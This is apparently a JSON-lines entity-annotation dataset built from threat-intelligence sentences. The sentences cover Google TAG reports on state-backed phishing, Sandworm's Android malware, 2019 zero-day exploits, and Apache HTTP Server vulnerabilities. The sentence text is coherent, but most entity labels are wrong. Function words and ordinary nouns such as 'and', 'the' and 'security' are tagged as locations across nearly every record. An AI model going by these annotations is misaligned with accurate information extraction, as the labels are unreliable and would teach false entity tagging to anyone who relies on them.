 {"id":10557,"text":"We’ve also seen attackers try to trick people into downloading malware by impersonating health organizations: Generally, we’re not seeing an overall rise in phishing attacks by government-backed groups; this is just a change in tactics.","entities":[{"id":32188,"label":"location","start_offset":141,"end_offset":148},{"id":32189,"label":"attack-pattern","start_offset":157,"end_offset":165},{"id":32190,"label":"identity","start_offset":211,"end_offset":215}],"relations":[],"Comments":[]}
-{"id":10558,"text":"In fact, we saw a slight decrease in overall volumes in March compared to January and February.","entities":[{"id":32191,"label":"location","start_offset":37,"end_offset":44},{"id":32194,"label":"location","start_offset":82,"end_offset":85}],"relations":[],"Comments":[]}
 {"id":10559,"text":"While it’s not unusual to see some fluctuations in these numbers, it could be that attackers, just like many other organizations, are experiencing productivity lags and issues due to global lockdowns and quarantine efforts.","entities":[{"id":32196,"label":"identity","start_offset":94,"end_offset":98},{"id":32197,"label":"location","start_offset":104,"end_offset":108},{"id":32198,"label":"location","start_offset":130,"end_offset":133},{"id":32199,"label":"location","start_offset":165,"end_offset":168},{"id":32200,"label":"location","start_offset":200,"end_offset":203}],"relations":[],"Comments":[]}
-{"id":10560,"text":"When working to identify and prevent threats, we use a combination of internal investigative tools, information sharing with industry partners and law enforcement, as well as leads and intelligence from third-party researchers.","entities":[{"id":32201,"label":"location","start_offset":25,"end_offset":28},{"id":32202,"label":"location","start_offset":125,"end_offset":133},{"id":32203,"label":"location","start_offset":143,"end_offset":146},{"id":32204,"label":"location","start_offset":147,"end_offset":150},{"id":32205,"label":"location","start_offset":181,"end_offset":184}],"relations":[],"Comments":[]}
-{"id":10561,"text":"To help support this broader security researcher community, Google is providing more than $200,000 in grants as part of a new Vulnerability Research Grant COVID-19 fund for Google VRP researchers who help  identify various vulnerabilities.","entities":[{"id":32206,"label":"location","start_offset":29,"end_offset":37},{"id":32207,"label":"location","start_offset":49,"end_offset":58},{"id":32210,"label":"location","start_offset":102,"end_offset":108},{"id":32211,"label":"location","start_offset":149,"end_offset":154}],"relations":[],"Comments":[]}
-{"id":10562,"text":"As the world continues to respond to COVID-19, we expect to see new lures and schemes.","entities":[{"id":32213,"label":"location","start_offset":7,"end_offset":12},{"id":32214,"label":"location","start_offset":74,"end_offset":77}],"relations":[],"Comments":[]}
-{"id":10563,"text":"Our teams continue to track these and stop them before they reach people—and we’ll continue to share new and interesting findings.","entities":[{"id":32215,"label":"location","start_offset":34,"end_offset":37},{"id":32216,"label":"location","start_offset":38,"end_offset":42},{"id":32217,"label":"location","start_offset":43,"end_offset":47},{"id":32218,"label":"location","start_offset":73,"end_offset":76},{"id":32219,"label":"location","start_offset":105,"end_offset":108}],"relations":[],"Comments":[]}
-{"id":10564,"text":" Google’s Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and the people who use our products.","entities":[{"id":32222,"label":"location","start_offset":64,"end_offset":67},{"id":32224,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
 {"id":10565,"text":"Following our November update, today we’re sharing the latest insights to fight phishing, and for security teams, providing more details about our work identifying attacks against zero-day vulnerabilities.","entities":[{"id":32227,"label":"attack-pattern","start_offset":80,"end_offset":88},{"id":32228,"label":"location","start_offset":90,"end_offset":93},{"id":32229,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":10566,"text":" We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.","entities":[{"id":32231,"label":"location","start_offset":11,"end_offset":15},{"id":32232,"label":"location","start_offset":90,"end_offset":96},{"id":32233,"label":"attack-pattern","start_offset":118,"end_offset":126}],"relations":[],"Comments":[]}
 {"id":10567,"text":"In 2019, we sent almost 40,000 warnings, a nearly 25 percent drop from 2018.","entities":[],"relations":[],"Comments":[]}
-{"id":10568,"text":"One reason for this decline is that our new protections are working—attackers' efforts have been slowed down and they’re more deliberate in their attempts, meaning attempts are happening less frequently as attackers adapt.","entities":[{"id":32239,"label":"location","start_offset":56,"end_offset":59},{"id":32240,"label":"location","start_offset":109,"end_offset":112},{"id":32241,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
 {"id":10569,"text":" We’ve detected a few emerging trends in recent months.","entities":[],"relations":[],"Comments":[]}
 {"id":10570,"text":"Upon reviewing phishing attempts since the beginning of this year, we’ve seen a rising number of attackers, including those from Iran and North Korea, impersonating news outlets or journalists.","entities":[{"id":32243,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":32246,"label":"location","start_offset":134,"end_offset":137}],"relations":[],"Comments":[]}
 {"id":10571,"text":"For example, attackers impersonate a journalist to seed false stories with other reporters to spread disinformation.","entities":[],"relations":[],"Comments":[]}
-{"id":10572,"text":"In other cases, attackers will send several benign emails to build a rapport with a journalist or foreign policy expert before sending a malicious attachment in a follow up email.","entities":[{"id":32248,"label":"location","start_offset":26,"end_offset":30}],"relations":[],"Comments":[]}
-{"id":10573,"text":"Government-backed attackers regularly target foreign policy experts for their research, access to the organizations they work with, and connection to fellow researchers or policymakers for subsequent attacks.","entities":[{"id":32249,"label":"location","start_offset":38,"end_offset":44},{"id":32250,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":10574,"text":"Government-backed attackers continue to consistently target geopolitical rivals, government officials, journalists, dissidents and activists.","entities":[{"id":32251,"label":"location","start_offset":53,"end_offset":59},{"id":32252,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
 {"id":10575,"text":"The chart below details the Russian threat actor group SANDWORM’s targeting efforts (by sector) over the last three years.","entities":[],"relations":[],"Comments":[]}
 {"id":10576,"text":"In 2019, one in five accounts that received a warning was targeted multiple times by attackers.","entities":[],"relations":[],"Comments":[]}
-{"id":10577,"text":"If at first the attacker does not succeed, they’ll try again using a different lure, different account, or trying to compromise an associate of their target.","entities":[{"id":32260,"label":"location","start_offset":79,"end_offset":83},{"id":32261,"label":"location","start_offset":150,"end_offset":156}],"relations":[],"Comments":[]}
-{"id":10578,"text":"We’ve yet to see people successfully phished if they participate in Google’s Advanced Protection Program (APP), even if they are repeatedly targeted.","entities":[{"id":32263,"label":"location","start_offset":86,"end_offset":96},{"id":32264,"label":"location","start_offset":125,"end_offset":128}],"relations":[],"Comments":[]}
 {"id":10579,"text":"APP provides the strongest protections available against phishing and account hijacking and is specifically designed for the highest-risk accounts.","entities":[{"id":32265,"label":"attack-pattern","start_offset":57,"end_offset":65},{"id":32266,"label":"location","start_offset":66,"end_offset":69},{"id":32267,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
-{"id":10580,"text":"Zero-day vulnerabilities are unknown software flaws.","entities":[{"id":32269,"label":"location","start_offset":25,"end_offset":28}],"relations":[],"Comments":[]}
-{"id":10581,"text":"Until they’re identified and fixed, they can be exploited by attackers.","entities":[{"id":32270,"label":"location","start_offset":25,"end_offset":28},{"id":32271,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]}
-{"id":10582,"text":"TAG actively hunts for these types of attacks because they are particularly dangerous and have a high rate of success, although they account for a small number of the overall total.","entities":[{"id":32272,"label":"location","start_offset":59,"end_offset":62},{"id":32273,"label":"location","start_offset":86,"end_offset":89},{"id":32274,"label":"location","start_offset":110,"end_offset":117},{"id":32275,"label":"location","start_offset":147,"end_offset":152},{"id":32276,"label":"location","start_offset":167,"end_offset":174}],"relations":[],"Comments":[]}
-{"id":10583,"text":"When we find an attack that takes advantage of  a zero-day vulnerability, we report the vulnerability to the vendor and give them seven days to patch or produce an advisory or we release an advisory ourselves.","entities":[{"id":32278,"label":"location","start_offset":109,"end_offset":115},{"id":32279,"label":"location","start_offset":116,"end_offset":119},{"id":32280,"label":"location","start_offset":120,"end_offset":124},{"id":32281,"label":"location","start_offset":125,"end_offset":129}],"relations":[],"Comments":[]}
-{"id":10584,"text":"We work across all platforms, and in 2019 TAG discovered zero-day vulnerabilities affecting Android, Chrome, iOS, Internet Explorer and Windows.","entities":[{"id":32283,"label":"location","start_offset":30,"end_offset":33},{"id":32287,"label":"location","start_offset":132,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":10585,"text":"Most recently, TAG was acknowledged in January 2020 for our contribution in identifying CVE-2020-0674, a remote code execution vulnerability in Internet Explorer.","entities":[{"id":32288,"label":"location","start_offset":0,"end_offset":4},{"id":32290,"label":"location","start_offset":105,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":10586,"text":"Last year, TAG discovered that a single threat actor was capitalizing on five zero-day vulnerabilities.","entities":[],"relations":[],"Comments":[]}
-{"id":10587,"text":"Finding this many zero-day exploits from the same actor in a relatively short time frame is rare.","entities":[{"id":32294,"label":"location","start_offset":13,"end_offset":17},{"id":32296,"label":"location","start_offset":45,"end_offset":49},{"id":32297,"label":"location","start_offset":72,"end_offset":77},{"id":32298,"label":"location","start_offset":78,"end_offset":82},{"id":32299,"label":"location","start_offset":83,"end_offset":88}],"relations":[],"Comments":[]}
 {"id":10588,"text":"The exploits were delivered via compromised legitimate websites (e.g. watering hole attacks), links to malicious websites, and email attachments in limited spear phishing campaigns.","entities":[{"id":32300,"label":"location","start_offset":79,"end_offset":83},{"id":32301,"label":"location","start_offset":123,"end_offset":126},{"id":32302,"label":"attack-pattern","start_offset":156,"end_offset":170}],"relations":[],"Comments":[]}
 {"id":10589,"text":"The majority of targets we observed were from North Korea or individuals who worked on North Korea-related issues.","entities":[],"relations":[],"Comments":[]}
-{"id":10590,"text":"For security teams interested in learning more, here are additional details about the exploits and our work in 2019:","entities":[{"id":32305,"label":"location","start_offset":4,"end_offset":12},{"id":32306,"label":"location","start_offset":53,"end_offset":56},{"id":32307,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":10591,"text":"The vulnerabilities underlying these exploits included: Internet Explorer - CVE-2018-8653 Internet Explorer - CVE-2019-0676 Chrome - CVE-2019-5786 Windows Kernel - CVE-2019-0808 Internet Explorer - CVE-2019-1367 Internet Explorer - CVE-2019-1429","entities":[],"relations":[],"Comments":[]}
-{"id":10592,"text":"The following technical details are associated with the exploits and can be used for teams interested in conducting further research on these attacks: CVE-2018-8653, CVE-2019-1367 and CVE-2020-0674 are vulnerabilities inside jscript.dll, therefore all exploits enabled IE8 rendering and used JScript.Compact as JS engine.","entities":[{"id":32309,"label":"location","start_offset":32,"end_offset":35},{"id":32310,"label":"location","start_offset":65,"end_offset":68},{"id":32311,"label":"location","start_offset":69,"end_offset":72},{"id":32312,"label":"location","start_offset":180,"end_offset":183},{"id":32313,"label":"location","start_offset":198,"end_offset":201},{"id":32314,"label":"location","start_offset":283,"end_offset":286}],"relations":[],"Comments":[]}
-{"id":10593,"text":"In most Internet Explorer exploits, attackers abused the Enumerator object in order to gain remote code execution.","entities":[{"id":32315,"label":"location","start_offset":3,"end_offset":7},{"id":32316,"label":"location","start_offset":92,"end_offset":98}],"relations":[],"Comments":[]}
-{"id":10594,"text":"To escape from the Internet Explorer EPM sandbox, exploits used a technique consisting of replaying the same vulnerability inside svchost by abusing Web Proxy Auto-Discovery (WPad) Service.","entities":[{"id":32317,"label":"location","start_offset":104,"end_offset":108},{"id":32318,"label":"location","start_offset":159,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":10595,"text":"Attackers abused this technique with CVE-2020-0674 on Firefox to escape the sandbox after exploiting CVE-2019-17026.","entities":[{"id":32319,"label":"location","start_offset":110,"end_offset":115}],"relations":[],"Comments":[]}
-{"id":10596,"text":"CVE-2019-0676 is a variant of CVE-2017-0022, CVE-2016-3298, CVE-2016-0162 and CVE-2016-3351 where the vulnerability resided inside the handling of “res:\/\/” URI scheme.","entities":[{"id":32320,"label":"location","start_offset":74,"end_offset":77},{"id":32321,"label":"location","start_offset":87,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":10597,"text":"Exploiting CVE-2019-0676 enabled attackers to reveal presence or non-presence of files on the victim’s computer; this information was later used to decide whether or not a second stage exploit should be delivered.","entities":[],"relations":[],"Comments":[]}
 {"id":10598,"text":"The attack vector for CVE-2019-1367 was rather atypical as the exploit was delivered from an Office document abusing the online video embedding feature to load an external URL conducting the exploitation.","entities":[{"id":32323,"label":"tools","start_offset":11,"end_offset":17},{"id":32325,"label":"location","start_offset":155,"end_offset":159}],"relations":[],"Comments":[]}
-{"id":10599,"text":"Our Threat Analyst Group will continue to identify bad actors and share relevant information with others in the industry.","entities":[{"id":32326,"label":"location","start_offset":25,"end_offset":29},{"id":32327,"label":"location","start_offset":62,"end_offset":65},{"id":32328,"label":"location","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":10600,"text":"Our goal is to bring awareness to these issues to protect you and fight bad actors to prevent future attacks.","entities":[{"id":32329,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":10601,"text":"In a future update, we’ll provide details on attackers using lures related to COVID-19 and expected behavior we’re observing (all within the normal range of attacker activity).","entities":[{"id":32330,"label":"location","start_offset":87,"end_offset":90},{"id":32331,"label":"location","start_offset":141,"end_offset":147},{"id":32332,"label":"location","start_offset":148,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":10602,"text":"Google's Threat Analysis Group (TAG) works to counter targeted and government-backed hacking against Google and our users.","entities":[{"id":32335,"label":"location","start_offset":63,"end_offset":66},{"id":32337,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":10603,"text":"This is an area we have invested in deeply for over a decade.","entities":[],"relations":[],"Comments":[]}
-{"id":10604,"text":"Our daily work involves detecting and defeating threats, and warning targeted users and customers about the world’s most sophisticated adversaries, spanning the full range of Google products including Gmail, Drive and YouTube.","entities":[{"id":32340,"label":"location","start_offset":34,"end_offset":37},{"id":32341,"label":"location","start_offset":57,"end_offset":60},{"id":32342,"label":"location","start_offset":84,"end_offset":87},{"id":32343,"label":"location","start_offset":108,"end_offset":113},{"id":32344,"label":"location","start_offset":116,"end_offset":120},{"id":32345,"label":"location","start_offset":166,"end_offset":171},{"id":32348,"label":"location","start_offset":214,"end_offset":217}],"relations":[],"Comments":[]}
 {"id":10605,"text":"In the past, we’ve posted on issues like phishing campaigns, vulnerabilities and disinformation.","entities":[{"id":32350,"label":"attack-pattern","start_offset":41,"end_offset":49},{"id":32351,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":10606,"text":"Going forward, we’ll share more technical details and data about the threats we detect and how we counter them to advance the broader digital security discussion.","entities":[{"id":32352,"label":"location","start_offset":50,"end_offset":53},{"id":32353,"label":"location","start_offset":87,"end_offset":90},{"id":32354,"label":"location","start_offset":106,"end_offset":110},{"id":32355,"label":"location","start_offset":114,"end_offset":121},{"id":32356,"label":"location","start_offset":142,"end_offset":150}],"relations":[],"Comments":[]}
 {"id":10607,"text":"TAG tracks more than 270 targeted or government-backed groups from more than 50 countries.","entities":[],"relations":[],"Comments":[]}
-{"id":10608,"text":"These groups have many goals including intelligence collection, stealing intellectual property, targeting dissidents and activists, destructive cyber attacks, or spreading coordinated disinformation.","entities":[{"id":32360,"label":"location","start_offset":18,"end_offset":22},{"id":32361,"label":"location","start_offset":117,"end_offset":120}],"relations":[],"Comments":[]}
 {"id":10609,"text":"We use the intelligence we gather to protect Google infrastructure as well as users targeted with malware or phishing.","entities":[{"id":32363,"label":"attack-pattern","start_offset":109,"end_offset":117}],"relations":[],"Comments":[]}
 {"id":10610,"text":"We’ve had a long-standing policy to send users warnings if we detect that they are the subject of state-sponsored phishing attempts, and have posted periodically about these before.","entities":[{"id":32364,"label":"location","start_offset":12,"end_offset":16},{"id":32365,"label":"location","start_offset":79,"end_offset":82},{"id":32366,"label":"attack-pattern","start_offset":114,"end_offset":122},{"id":32367,"label":"location","start_offset":133,"end_offset":136}],"relations":[],"Comments":[]}
 {"id":10611,"text":"From July to September 2019, we sent more than 12,000 warnings to users in 149 countries that they were targeted by government-backed attackers.","entities":[],"relations":[],"Comments":[]}
-{"id":10612,"text":"This is consistent (+\/-10%) with the number of warnings sent in the same period of 2018 and 2017.","entities":[{"id":32373,"label":"location","start_offset":88,"end_offset":91}],"relations":[],"Comments":[]}
 {"id":10613,"text":"Over 90 percent of these users were targeted via “credential phishing emails” similar to the example below.","entities":[{"id":32376,"label":"attack-pattern","start_offset":61,"end_offset":69}],"relations":[],"Comments":[]}
-{"id":10614,"text":"These are usually attempts to obtain the target’s password or other account credentials to hijack their account.","entities":[{"id":32377,"label":"location","start_offset":6,"end_offset":9},{"id":32378,"label":"location","start_offset":41,"end_offset":47}],"relations":[],"Comments":[]}
 {"id":10615,"text":"We encourage high-risk users—like journalists, human rights activists, and political campaigns—to enroll in our Advanced Protection Program (APP), which utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.","entities":[{"id":32379,"label":"location","start_offset":71,"end_offset":74},{"id":32380,"label":"location","start_offset":121,"end_offset":131},{"id":32381,"label":"location","start_offset":171,"end_offset":179},{"id":32382,"label":"location","start_offset":185,"end_offset":188},{"id":32383,"label":"attack-pattern","start_offset":242,"end_offset":250},{"id":32384,"label":"location","start_offset":251,"end_offset":254}],"relations":[],"Comments":[]}
 {"id":10616,"text":"APP is designed specifically for the highest-risk accounts.","entities":[],"relations":[],"Comments":[]}
 {"id":10617,"text":"In the simple phishing example below, an attacker has sent a phishing email with a security alert lure from “Goolge” suggesting the user secure their account.","entities":[{"id":32385,"label":"attack-pattern","start_offset":14,"end_offset":22},{"id":32386,"label":"attack-pattern","start_offset":61,"end_offset":69},{"id":32387,"label":"location","start_offset":83,"end_offset":91},{"id":32388,"label":"location","start_offset":92,"end_offset":97},{"id":32389,"label":"location","start_offset":98,"end_offset":102}],"relations":[],"Comments":[]}
-{"id":10618,"text":"The user clicks the link, enters their password, and may also get asked for a security code if they have two-factor authentication enabled, allowing the attacker to access their account.","entities":[{"id":32390,"label":"location","start_offset":49,"end_offset":52},{"id":32391,"label":"location","start_offset":53,"end_offset":56},{"id":32392,"label":"location","start_offset":78,"end_offset":86}],"relations":[],"Comments":[]}
 {"id":10619,"text":"Last week at CyberwarCon, we presented analysis about previously undisclosed campaigns from a Russia-nexus threat group called “Sandworm” (also known as “Iridium”).","entities":[],"relations":[],"Comments":[]}
-{"id":10620,"text":"It’s a useful example of the type of detailed threat detection work that TAG does.","entities":[{"id":32399,"label":"location","start_offset":29,"end_offset":33}],"relations":[],"Comments":[]}
 {"id":10621,"text":"Although much of Sandworm’s activity targeting Ukraine and their attacks against the 2018 Winter Olympics have been covered publicly, some campaigns have not been reported.","entities":[{"id":32401,"label":"location","start_offset":9,"end_offset":13},{"id":32402,"label":"threat-actor","start_offset":17,"end_offset":25},{"id":32404,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
 {"id":10622,"text":"In December 2017, TAG discovered a series of campaigns from Sandworm attempting to deploy Android malware.","entities":[],"relations":[],"Comments":[]}
-{"id":10623,"text":"The first campaign targeted users in South Korea, where Sandworm was modifying legitimate Android applications with malware.","entities":[{"id":32411,"label":"location","start_offset":10,"end_offset":18}],"relations":[],"Comments":[]}
 {"id":10624,"text":"They then uploaded these modified apps to the Play Store using their own attacker-controlled developer accounts.","entities":[],"relations":[],"Comments":[]}
-{"id":10625,"text":"During this campaign, Sandworm uploaded eight different apps to the Play Store, each with fewer than 10 total installs.","entities":[{"id":32415,"label":"location","start_offset":12,"end_offset":20}],"relations":[],"Comments":[]}
-{"id":10626,"text":"We also identified an earlier September 2017 Android campaign from Sandworm where they used similar tactics and deployed a fake version of the UKR.net email app on the Play Store.","entities":[{"id":32421,"label":"location","start_offset":53,"end_offset":61},{"id":32423,"label":"location","start_offset":108,"end_offset":111}],"relations":[],"Comments":[]}
 {"id":10627,"text":"This application had approximately 1,000 total installs.","entities":[],"relations":[],"Comments":[]}
-{"id":10628,"text":"We worked with our colleagues on the Google Play Protect Team to write detections for this malware family, and eliminate it.","entities":[{"id":32426,"label":"location","start_offset":107,"end_offset":110}],"relations":[],"Comments":[]}
 {"id":10629,"text":"In November 2018, we saw evidence that Sandworm shifted from using attacker-controlled accounts to try and upload malicious apps to compromising legitimate developers.","entities":[{"id":32428,"label":"threat-actor","start_offset":39,"end_offset":47},{"id":32429,"label":"location","start_offset":103,"end_offset":106}],"relations":[],"Comments":[]}
 {"id":10630,"text":"Throughout November, Sandworm targeted software and mobile app developers in Ukraine via spear phishing emails with malicious attachments.","entities":[{"id":32431,"label":"threat-actor","start_offset":21,"end_offset":29},{"id":32432,"label":"location","start_offset":48,"end_offset":51},{"id":32433,"label":"location","start_offset":52,"end_offset":58},{"id":32435,"label":"attack-pattern","start_offset":89,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":10631,"text":"In at least one case, they compromised an app developer with several published Play Store apps—one with more than 200,000 installs.","entities":[{"id":32437,"label":"location","start_offset":16,"end_offset":20},{"id":32439,"label":"location","start_offset":95,"end_offset":98}],"relations":[],"Comments":[]}
 {"id":10632,"text":"After compromising the developer, Sandworm built a backdoor in one of the legitimate apps and attempted to publish it on the Play Store.","entities":[{"id":32441,"label":"threat-actor","start_offset":34,"end_offset":42},{"id":32442,"label":"location","start_offset":63,"end_offset":66},{"id":32443,"label":"location","start_offset":90,"end_offset":93}],"relations":[],"Comments":[]}
-{"id":10633,"text":"They did this by adding their implant code into the application package, signing the package with the compromised developer’s key, and then uploading it to the Play Store.","entities":[{"id":32445,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
-{"id":10634,"text":"However, the Google Play Protect team caught the attempt at the time of upload.","entities":[{"id":32448,"label":"location","start_offset":64,"end_offset":68}],"relations":[],"Comments":[]}
-{"id":10635,"text":"As a result, no users were infected and we were able to re-secure the developer’s account.","entities":[{"id":32449,"label":"location","start_offset":36,"end_offset":39}],"relations":[],"Comments":[]}
-{"id":10636,"text":"TAG is one part of Google and YouTube’s broader efforts to tackle coordinated influence operations that attempt to game our services.","entities":[{"id":32453,"label":"location","start_offset":26,"end_offset":29}],"relations":[],"Comments":[]}
-{"id":10637,"text":"We share relevant threat information on these campaigns with law enforcement and other tech companies.","entities":[{"id":32455,"label":"location","start_offset":61,"end_offset":64},{"id":32456,"label":"location","start_offset":77,"end_offset":80}],"relations":[],"Comments":[]}
-{"id":10638,"text":"Here are some examples that have been reported recently that TAG worked on: TAG recently took action against Russia-affiliated influence operations targeting several nations in Africa.","entities":[{"id":32457,"label":"location","start_offset":5,"end_offset":8},{"id":32459,"label":"location","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]}
 {"id":10639,"text":"The operations use inauthentic news outlets to disseminate messages promoting Russian interests in Africa.","entities":[],"relations":[],"Comments":[]}
-{"id":10640,"text":"We have observed the use of local accounts and people to contribute to the operation, a tactic likely intended to make the content appear more genuine.","entities":[{"id":32464,"label":"location","start_offset":43,"end_offset":46},{"id":32465,"label":"location","start_offset":95,"end_offset":101},{"id":32466,"label":"location","start_offset":123,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":10641,"text":"Targeted countries included the Central African Republic, Sudan, Madagascar, and South Africa, and languages used included English, French, and Arabic.","entities":[{"id":32470,"label":"location","start_offset":77,"end_offset":80},{"id":32472,"label":"location","start_offset":95,"end_offset":98},{"id":32475,"label":"location","start_offset":140,"end_offset":143}],"relations":[],"Comments":[]}
 {"id":10642,"text":"Activity on Google services was limited, but we enforced across our products swiftly.","entities":[],"relations":[],"Comments":[]}
-{"id":10643,"text":"We terminated the associated Google accounts and 15 YouTube channels, and we continue to monitor this space.","entities":[{"id":32479,"label":"location","start_offset":45,"end_offset":48},{"id":32482,"label":"location","start_offset":70,"end_offset":73},{"id":32483,"label":"location","start_offset":89,"end_offset":96}],"relations":[],"Comments":[]}
-{"id":10644,"text":"This discovery was consistent with recent observations and actions announced by Facebook.","entities":[{"id":32484,"label":"location","start_offset":55,"end_offset":58}],"relations":[],"Comments":[]}
-{"id":10645,"text":"Consistent with a recent Bellingcat report, TAG identified a campaign targeting the Indonesian provinces Papua and West Papua with messaging in opposition to the Free Papua Movement.","entities":[{"id":32488,"label":"location","start_offset":61,"end_offset":69},{"id":32491,"label":"location","start_offset":111,"end_offset":114}],"relations":[],"Comments":[]}
-{"id":10646,"text":"Google terminated one advertising account and 28 YouTube channels.","entities":[{"id":32496,"label":"location","start_offset":42,"end_offset":45}],"relations":[],"Comments":[]}
-{"id":10647,"text":"TAG works closely with other technology companies—including platforms and specialized security firms—to share intelligence and best practices.","entities":[{"id":32499,"label":"location","start_offset":70,"end_offset":73},{"id":32500,"label":"location","start_offset":86,"end_offset":94},{"id":32501,"label":"location","start_offset":95,"end_offset":100},{"id":32502,"label":"location","start_offset":123,"end_offset":126},{"id":32503,"label":"location","start_offset":127,"end_offset":131}],"relations":[],"Comments":[]}
-{"id":10648,"text":"We also share threat information with law enforcement.","entities":[{"id":32504,"label":"location","start_offset":38,"end_offset":41}],"relations":[],"Comments":[]}
-{"id":10649,"text":"And of course there are multiple teams at Google at work on these issues with whom we coordinate.","entities":[{"id":32505,"label":"location","start_offset":0,"end_offset":3},{"id":32506,"label":"location","start_offset":20,"end_offset":23}],"relations":[],"Comments":[]}
-{"id":10650,"text":"Going forward, our goal is to give more updates on the attacks that TAG detects and stops.","entities":[{"id":32508,"label":"location","start_offset":30,"end_offset":34},{"id":32509,"label":"location","start_offset":80,"end_offset":83}],"relations":[],"Comments":[]}
-{"id":10651,"text":"Our hope is that shining more light on these actors will be helpful to the security community, deter future attacks, and lead to better awareness and protections among high-risk targets.","entities":[{"id":32510,"label":"location","start_offset":4,"end_offset":8},{"id":32511,"label":"location","start_offset":30,"end_offset":35},{"id":32512,"label":"location","start_offset":52,"end_offset":56},{"id":32513,"label":"location","start_offset":75,"end_offset":83},{"id":32514,"label":"location","start_offset":84,"end_offset":93},{"id":32515,"label":"location","start_offset":117,"end_offset":120},{"id":32516,"label":"location","start_offset":121,"end_offset":125},{"id":32517,"label":"location","start_offset":146,"end_offset":149}],"relations":[],"Comments":[]}
 {"id":10652,"text":"As organizations reeled from the Log4Shell vulnerability (CVE-2021-44228), cyberattacks aiming at open-source web servers, like Apache HTTP Server, were rapidly rising.","entities":[{"id":32519,"label":"attack-pattern","start_offset":103,"end_offset":109}],"relations":[],"Comments":[]}
-{"id":10653,"text":"Malicious actors take advantage of people’s reliance on web servers to perform attacks like remote code execution (RCE), access control bypass, denial of service (DoS), or even cyberjacking the victim servers to mine cryptocurrencies.","entities":[{"id":32521,"label":"location","start_offset":44,"end_offset":52},{"id":32522,"label":"location","start_offset":92,"end_offset":98},{"id":32523,"label":"location","start_offset":212,"end_offset":216}],"relations":[],"Comments":[]}
 {"id":10654,"text":"To protect enterprises against malicious activities, we need more than just timely patches.","entities":[{"id":32524,"label":"identity","start_offset":71,"end_offset":75}],"relations":[],"Comments":[]}
-{"id":10655,"text":"Using software composition analysis (SCA) to discover issues in each layer of the software supply chain has become a must in 2022.","entities":[{"id":32525,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]}
 {"id":10656,"text":"Vulnerabilities of Apache HTTP Server have increased since 2017 Open-source web servers, especially Apache HTTP Server, have been heavily exploited in the past five years.","entities":[{"id":32529,"label":"attack-pattern","start_offset":69,"end_offset":75}],"relations":[],"Comments":[]}
 {"id":10657,"text":"Compared to Nginx, another widely used open-source web server, Apache had the greatest increase in vulnerabilities over the past five years – particularly high-risk ones.","entities":[{"id":32532,"label":"attack-pattern","start_offset":44,"end_offset":50},{"id":32533,"label":"location","start_offset":63,"end_offset":69}],"relations":[],"Comments":[]}
 {"id":10658,"text":"According to the Apache HTTP Server webpage, from 2012 to 2016 there were a total of 31 vulnerabilities found in the Apache HTTP Server.","entities":[],"relations":[],"Comments":[]}
 {"id":10659,"text":"However, from 2017 to 2021 the total vulnerabilities number surged to 57.","entities":[],"relations":[],"Comments":[]}
 {"id":10660,"text":"2021 alone accounted for 14 of those vulnerabilities, breaking a 17-year record high.","entities":[],"relations":[],"Comments":[]}
-{"id":10661,"text":"Most importantly, two vulnerabilities found in 2H’2021 (CVE-2021-42013, CVE-2021-41773) were rated by Apache’s rating system as “Critical”.","entities":[{"id":32544,"label":"location","start_offset":0,"end_offset":4},{"id":32546,"label":"location","start_offset":81,"end_offset":86},{"id":32547,"label":"location","start_offset":102,"end_offset":108}],"relations":[],"Comments":[]}
 {"id":10662,"text":"Before that, there were no vulnerabilities rated at this level.","entities":[],"relations":[],"Comments":[]}
-{"id":10663,"text":"The “Critical” vulnerabilities have the potential to be exploited by a remote attacker to get Apache to execute arbitrary code.","entities":[{"id":32548,"label":"location","start_offset":71,"end_offset":77},{"id":32549,"label":"location","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]}
-{"id":10664,"text":"They could also be exploited automatically by worms.","entities":[{"id":32550,"label":"location","start_offset":46,"end_offset":51}],"relations":[],"Comments":[]}
 {"id":10665,"text":"          Source: Apache HTTP Server Project","entities":[{"id":32551,"label":"attack-pattern","start_offset":10,"end_offset":16},{"id":32552,"label":"location","start_offset":18,"end_offset":24}],"relations":[],"Comments":[]}
-{"id":10666,"text":"Weaponized vulnerabilities lead to great risk","entities":[{"id":32553,"label":"location","start_offset":27,"end_offset":31}],"relations":[],"Comments":[]}
-{"id":10667,"text":"Not only has the number of total Apache HTTP Server vulnerabilities gone up, but so has the number of weaponized vulnerabilities.","entities":[{"id":32554,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]}
-{"id":10668,"text":"Trend Micro detected that at least 15 of the 57 vulnerabilities found in the past five years were weaponized and used in malicious activities.","entities":[{"id":32560,"label":"location","start_offset":109,"end_offset":112}],"relations":[],"Comments":[]}
